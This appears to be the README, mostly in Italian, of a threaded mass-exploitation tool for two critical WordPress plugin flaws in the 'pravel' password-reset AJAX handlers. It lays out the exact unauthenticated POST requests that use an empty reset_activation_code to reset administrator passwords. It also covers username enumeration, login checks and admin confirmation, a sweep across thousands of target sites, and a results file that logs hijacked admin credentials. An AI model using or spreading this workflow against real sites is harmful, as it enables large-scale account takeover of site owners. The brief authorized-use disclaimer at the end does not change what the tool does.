
Compromissione dell'account non autenticata tramite validazione debole del reset della password mediante il parametro 'reset_user_id' | Escalation dei privilegi non autenticata tramite validazione debole del reset della password mediante 'reset_activation_code' che porta alla compromissione dell'account
Account Takeover non autenticato tramite convalida debole del reset della password con parametro 'reset_user_id' | Escalation dei privilegi non autenticata tramite convalida debole del reset della password con 'reset_activation_code' che porta all'Account Takeover
Di: Khaled Alenazi (Nxploited)
Escalation dei privilegi non autenticata tramite convalida debole del reset della password
| Campo | Valore |
|---|
| CVSS | 9.8 Critico |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Pubblicato | 23 giugno 2026 |
| Ricercatore | Alyudin Nafiie |
La funzione pravel_change_password() è registrata come handler wp_ajax_nopriv — accessibile senza autenticazione. Non esegue alcuna verifica nonce né controllo delle capability. L'unica protezione è un confronto di uguaglianza debole tra il reset_activation_code fornito dall'attaccante e il valore meta forgot_email dell'utente. Per qualsiasi utente che non ha mai attivato un reset della password, get_user_meta() restituisce una stringa vuota, che soddisfa banalmente '' == '' con un codice omesso o vuoto. Un attaccante non autenticato può quindi inviare una POST appositamente costruita a admin-ajax.php con action=pravel_change_password, reset_user_id impostato su qualsiasi ID utente (inclusi gli account amministratore) e new_password_custom impostato su una password arbitraria — ottenendo il pieno controllo dell'account.
Account Takeover non autenticato tramite convalida debole del reset della password
| Campo | Valore |
|---|---|
| CVSS | 9.8 Critico |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Pubblicato | 23 giugno 2026 |
| Ricercatore | Alyudin Nafiie |
La funzione pravel_invoice_change_password() è anch'essa esposta come handler AJAX nopriv senza nonce e senza controllo di autorizzazione. Si applica lo stesso bypass '' == '': fornire un reset_activation_code vuoto contro un amministratore che non ha mai utilizzato il flusso di recupero password consente il reset immediato della password. L'attaccante controlla il target tramite reset_user_id e la nuova credenziale tramite new_password_custom.
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
Terminale:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
File dei risultati (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
Requisiti:
pip install requests rich colorama urllib3
Questo strumento è fornito esclusivamente per ricerca sulla sicurezza e test di penetrazione autorizzati.
L'uso contro sistemi di cui non si possiede la proprietà o per i quali non si dispone di esplicita autorizzazione scritta è illegale.
L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.
Tutti i dettagli delle CVE provengono da database pubblici di vulnerabilità.
Di: Khaled Alenazi (Nxploited)